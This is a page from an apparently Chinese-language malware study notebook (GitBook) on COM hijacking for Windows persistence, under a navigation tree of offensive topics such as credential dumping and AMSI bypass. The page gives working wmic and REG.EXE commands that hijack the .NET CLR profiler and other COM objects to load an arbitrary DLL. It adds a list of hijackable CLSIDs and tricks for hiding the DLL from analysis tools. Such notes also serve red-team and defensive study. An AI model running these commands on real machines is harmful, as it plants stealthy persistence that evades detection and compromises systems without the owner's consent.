Malware Note
1.0.0
1.0.0
  • 恶意软件学习笔记
  • 权限维持
    • 服务
      • 新建服务
      • 修改服务
      • 隐藏服务
      • 劫持服务
    • 启动项
      • 注册表
      • 文件夹
    • 用户账户
      • 新建用户
      • 隐藏用户
    • DLL劫持
      • 劫持自启动程序
      • 劫持.NET程序
      • NTFS短文件名
    • COM劫持
      • COM劫持
    • 映像劫持
      • 映像劫持
    • 计划任务
      • 新建任务
    • WMI
      • WMI事件
    • Office
      • VSTO
      • WLL/XLL
      • 模板文件
      • COM劫持
    • BITS Jobs
      • BITS
    • Rootkit
      • Rootkit
    • 未分类
      • Windows Telemetry
      • 替换文件
      • AppInit_DLLs注入
      • 粘滞键
      • cmd启动劫持
      • 屏幕保护
      • 注册SSP DLL
      • AddMonitor
      • 滥用POWERSHELL配置文件
      • W32Time
      • UWP
      • Waitfor
      • Bios
      • 劫持更新程序
      • 利用LAPS
      • SDB文件
      • lsasrv.dll
      • LangBarAddin
      • GPO
      • SPReview.exe
  • LOLBins
    • LOLBin
    • Take a Test
    • createdump.exe
    • sihclient.exe
    • change.exe
    • ftp.exe
    • tpmtool.exe
    • tar.exe
    • curl.exe
    • IMEWDBLD.exe
  • 提权
    • Privileges
    • UAC Bypass
    • 漏洞
    • 错误配置
  • 横向移动
    • WMI
    • RPC
    • DCOM
    • HASH
    • Kerberos tickets
  • 文件结构
    • Office
    • LNK
      • 钓鱼lnk
    • PE
    • CHM
      • 钓鱼chm
  • 注入
    • 注入
  • 反分析
    • 反虚拟机/沙盒
  • 获取用户密码或hash
    • SMB
    • 注入mstsc.exe
    • Mimikatz
    • NPLogonNotify
    • Tickets
  • 进程链
    • 启动进程
  • 关闭杀软
    • 关闭WD
  • AMSI
    • 绕过AMSI
  • Dump内存
    • MiniDumpWriteDump
    • Shellcode
    • SilentProcessExit
    • procdump
    • Task Manager/Process Explorer
    • Sqldumper
    • comsvcs.dll
    • WinPmem
    • ProcessDump.exe
    • Dumpert
    • BSOD
    • PPLdump
    • Hibernation
  • 木马分析
    • Stealer
      • 输入法
    • Hidden Remote
  • 常用工具
    • Untitled
  • 鬼知道有什么用的小知识
    • 鬼知道有什么用的小知识
由 GitBook 提供支持
在本页
  • COM组件
  • 劫持CLR
  • 劫持其他COM组件
  • 一些特殊技巧

这有帮助吗?

  1. 权限维持
  2. COM劫持

COM劫持

COM组件

COM是Windows中的一个系统,用于在操作系统和软件组件之间进行交互,对各种COM对象的引用存储在注册表中。劫持COM对象需要在注册表中进行更改,以替换对合法系统组件的引用,这可能导致该组件在执行时不起作用。

劫持CLR

CLR全称Common Language Runtime,中文名称为公共语言运行时。

CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行。

在CLR之下运行的程序属于managed,不在CLR之下直接运行的程序属于native。

此处主要以CLR的劫持作为实例,因为其本质也是COM劫持,但因为本身的特殊性经常被单独拿来说。

#32bit
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
#64bit
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

参考文章:

劫持其他COM组件

操作的话,与CLR劫持相同,但是不再需要更改环境变量,少了一步敏感操作,具体使用自行取舍。

示例命令行:

SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32
REG.EXE ADD %KEY% /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

原理类似,故只列出常用的几个CLSID。

CLSID

{42aedc87-2188-41fd-b9a3-0c966feabec1}

{fbeb8a05-beee-4442-804e-409d6c4515e9}

{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

{BCDE0395-E52F-467C-8E3D-C4579291692E}

{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}

{3543619C-D563-43f7-95EA-4DA7E1CC396A}

{B056521A-9B10-425E-B616-1FCD828DB3B1}

{EFEF7FDB-0CED-4FB6-B3BB-3C50D39F4120}

{93E5752E-B889-47C5-8545-654EE2533C64}

{56FDF344-FD6D-11D0-958A-006097C9A090}

{2163EB1F-3FD9-4212-A41F-81D1F933597F}

{A6A2383F-AD50-4D52-8110-3508275E77F7}

{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}

{88D96A05-F192-11D4-A65F-0040963251E5}

{807583E5-5146-11D5-A672-00B0D022E945}

{529A9E6B-6587-4F23-AB9E-9C7D683E3C50}

{3CE74DE4-53D3-4D74-8B83-431B3828BA53}

{A4B544A1-438D-4B41-9325-869523E2D6C7}

{33C53A50-F456-4884-B049-85FD643ECFED}

{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}

{275C23E2-3747-11D0-9FEA-00AA003F8646}

{C15BB852-6F97-11D3-A990-00104B2A619F}

{ED475410-B0D6-11D2-8C3B-00104B2A6676}

{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}

{DCB00C01-570F-4A9B-8D69-199FDBA5723B}

{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}

{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}

自行寻找的话只需要去看下面两个注册表位置即可

HKCU\Software\Classes\CLSID\HKCU\Software\Classes\Wow6432Node\CLSID\

一些特殊技巧

TreatAs(可以模拟其他类的CLSID。)

利用零宽字节特性,在Process Explorer等分析软件中隐藏劫持dll

Junction Folders和Library Files的利用

覆盖搜索顺序

上一页COM劫持下一页映像劫持

最后更新于4年前

这有帮助吗?

Subvert CLR Process Listing With .NET Profilers
Logo
TreatAs - Win32 appsdocsmsft
Logo
Zero-width spaceWikipedia
DLL Side-loading and Zero-width SpacesFat Rodzianko
渗透技巧——Junction Folders和Library Files的后门利用3gstudent-Blog
Persistence: "the continued or prolonged existence of something": Part 2 - COM Hijacking - MDSecMDSec
Logo
Logo